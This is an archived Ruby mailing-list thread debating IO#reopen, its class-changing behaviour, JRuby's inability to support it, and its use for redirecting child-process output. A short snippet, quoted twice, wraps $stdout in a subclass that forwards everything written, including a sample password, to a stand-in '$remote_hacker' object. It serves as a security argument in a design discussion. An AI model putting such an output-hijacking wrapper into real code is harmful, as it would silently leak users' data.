From: Caleb Clausen on
On 4/29/10, hemant <gethemant(a)gmail.com> wrote:
> Ruby standard library uses IO#reopen many places on STDOUT. I am not
> saying since Ruby standard library does that, it has to be best

Not necessarily. There are some dusty corners in stdlib. If stdlib
does this, it may be a bug; can you give examples?

The one place I know of is the cgi library, which reopens
STDIN/OUT/ERR as part of the process of purifying the environment of
the cgi server process. Other servers might do the same and it would
be appropriate there as well.

I guess the other case where it would be necessary is if you want to
change the STDIN/OUT/ERR seen by subprocesses.

In other cases that I know of, modifying STDIN/OUT/ERR is not a good idea....

> How can reopen change the class btw? Ruby is not a class oriented language
> btw.

Check out this code. No other method in all of ruby has this behavior.

p $stderr.class #=>IO

f=File.new "foo","w"
$stderr.reopen(f)

p $stderr.class #=>File

From: Charles Oliver Nutter on
On Thu, Apr 29, 2010 at 4:24 PM, Caleb Clausen <vikkous(a)gmail.com> wrote:
> On 4/29/10, hemant <gethemant(a)gmail.com> wrote:
>> How can reopen change the class btw? Ruby is not a class oriented language
>> btw.
>
> Check out this code. No other method in all of ruby has this behavior.
>
>  p $stderr.class #=>IO
>
>  f=File.new "foo","w"
>  $stderr.reopen(f)
>
>  p $stderr.class #=>File

This is a really nasty feature not a lot of people know about. It's
not possible for us to support in JRuby because the underlying object
can't actually change class:

~/projects/jruby ➔ jruby -rjruby -e 'p JRuby.reference($stdout).class'
Java::OrgJruby::RubyIO

~/projects/jruby ➔ jruby -rjruby -e 'p
JRuby.reference(File.open("build.xml")).class'
Java::OrgJruby::RubyFile

Arbitrary IO objects are org.jruby.RubyIO objects behind the scenes,
while files are RubyFile (< RubyIO) and sockets are RubySocket (<
RubyIO) or one of its subclasses. "Becoming" another class isn't an
option.

The closest we could probably come would be to change the .class to a
common superclass of both actual types, but that's still pretty goofy.

I'm of the opinion that .reopen should be discouraged in general.

- Charlie

From: Robert Klemme on
2010/4/30 Charles Oliver Nutter <headius(a)headius.com>:
> On Thu, Apr 29, 2010 at 4:24 PM, Caleb Clausen <vikkous(a)gmail.com> wrote:
>> On 4/29/10, hemant <gethemant(a)gmail.com> wrote:
>>> How can reopen change the class btw? Ruby is not a class oriented language
>>> btw.
>>
>> Check out this code. No other method in all of ruby has this behavior.
>>
>>  p $stderr.class #=>IO
>>
>>  f=File.new "foo","w"
>>  $stderr.reopen(f)
>>
>>  p $stderr.class #=>File
>
> This is a really nasty feature not a lot of people know about. It's
> not possible for us to support in JRuby because the underlying object
> can't actually change class:

That's true, instances which change their class - this is problematic.

> I'm of the opinion that .reopen should be discouraged in general.

IMHO that is a bad idea because this is the standard way how you
redirect stderr, stdin and stdout for child processes - at least on
POSIX systems. Any program that wants to do something similar like
IO.popen or just wants to prevent the child's stdout to clutter its
own output depends on the ability to do this.

Kind regards

robert

--
remember.guy do |as, often| as.you_can - without end
http://blog.rubybestpractices.com/

From: Charles Oliver Nutter on
On Fri, Apr 30, 2010 at 2:09 AM, Robert Klemme
<shortcutter(a)googlemail.com> wrote:
> 2010/4/30 Charles Oliver Nutter <headius(a)headius.com>:
>> This is a really nasty feature not a lot of people know about. It's
>> not possible for us to support in JRuby because the underlying object
>> can't actually change class:
>
> That's true, instances which change their class - this is problematic.
>
>> I'm of the opinion that .reopen should be discouraged in general.
>
> IMHO that is a bad idea because this is the standard way how you
> redirect stderr, stdin and stdout for child processes - at least on
> POSIX systems.  Any program that wants to do something similar like
> IO.popen or just wants to prevent the child's stdout to clutter its
> own output depends on the ability to do this.

IO.popen doesn't require IO#reopen to be available to users, so I'm
not sure what you mean by that. It may do something similar to reopen
under the covers, but that's an implementation detail.

My primary gripe is the changing class; at worst, IO#reopen should
only change the class to some common superclass, so that reopening a
File stream with a Socket would turn it into an IO. But at best, the
class shouldn't change at all; no other behavior in all of Ruby can
cause an object to change its effective type out from under you.
Consider this goofy sort of exploit:

class MeanIO < IO
def initialize(io)
super(io.fileno)
@io = io
end

def write(data)
$stderr.puts "sending your data to hacker!"
$remote_hacker.receive(data)
super(data)
end
end

$stdout.reopen(MeanIO.new($stdout))

puts 'password:aSdFgH'

Now of course you could do similar sorts of things by simply class <<
$stdout, but the problem with reopen is that I can't even freeze a
class somewhere to prevent this from happening. $SAFE can prevent you
from reopening on an "untainted IO", but you have to go up to level 4
before that happens...plus I believe only MRI supports SAFE fully
(JRuby has some minimal support for tainting, but does not implement
SAFE levels).

So yeah, I appreciate that "reopen" is the typical way people redirect
IO, but in this case it breaks Ruby's class/object model in a really
nasty way. Perhaps $stderr and friends should not be some sort of
DelegateIO that has a reopen, but which doesn't change its class. Or
perhaps not changing the class and letting the user fail if they try
to call unsupported methods is best. At any rate, for a strongly-typed
language like Ruby, objects *should not* change their class under any
circumstances.

- Charlie

From: hemant on
Hi

On Fri, Apr 30, 2010 at 1:13 PM, Charles Oliver Nutter
<headius(a)headius.com> wrote:
>
> IO.popen doesn't require IO#reopen to be available to users, so I'm
> not sure what you mean by that. It may do something similar to reopen
> under the covers, but that's an implementation detail.
>
> My primary gripe is the changing class; at worst, IO#reopen should
> only change the class to some common superclass, so that reopening a
> File stream with a Socket would turn it into an IO. But at best, the
> class shouldn't change at all; no other behavior in all of Ruby can
> cause an object to change its effective type out from under you.
> Consider this goofy sort of exploit:
>
> class MeanIO < IO
>  def initialize(io)
>    super(io.fileno)
>    @io = io
>  end
>
>  def write(data)
>    $stderr.puts "sending your data to hacker!"
>    $remote_hacker.receive(data)
>    super(data)
>  end
> end
>
> $stdout.reopen(MeanIO.new($stdout))
>
> puts 'password:aSdFgH'
>
> Now of course you could do similar sorts of things by simply class <<
> $stdout, but the problem with reopen is that I can't even freeze a
> class somewhere to prevent this from happening. $SAFE can prevent you
> from reopening on an "untainted IO", but you have to go up to level 4
> before that happens...plus I believe only MRI supports SAFE fully
> (JRuby has some minimal support for tainting, but does not implement
> SAFE levels).
>
> So yeah, I appreciate that "reopen" is the typical way people redirect
> IO, but in this case it breaks Ruby's class/object model in a really
> nasty way. Perhaps $stderr and friends should not be some sort of
> DelegateIO that has a reopen, but which doesn't change its class. Or
> perhaps not changing the class and letting the user fail if they try
> to call unsupported methods is best. At any rate, for a strongly-typed
> language like Ruby, objects *should not* change their class under any
> circumstances.
>

And was this discussed on ruby-core, it seems same behaviour can be
achieved without changing the class (or if required changing to some
superclass)?



--
Let them talk of their oriental summer climes of everlasting
conservatories; give me the privilege of making my own summer with my
own coals.

http://gnufied.org

First  |  Prev  |  Next  |  Last
Pages: 1 2 3 4 5
Prev: cannot freeze my gems
Next: LOGIN INTO YAHOO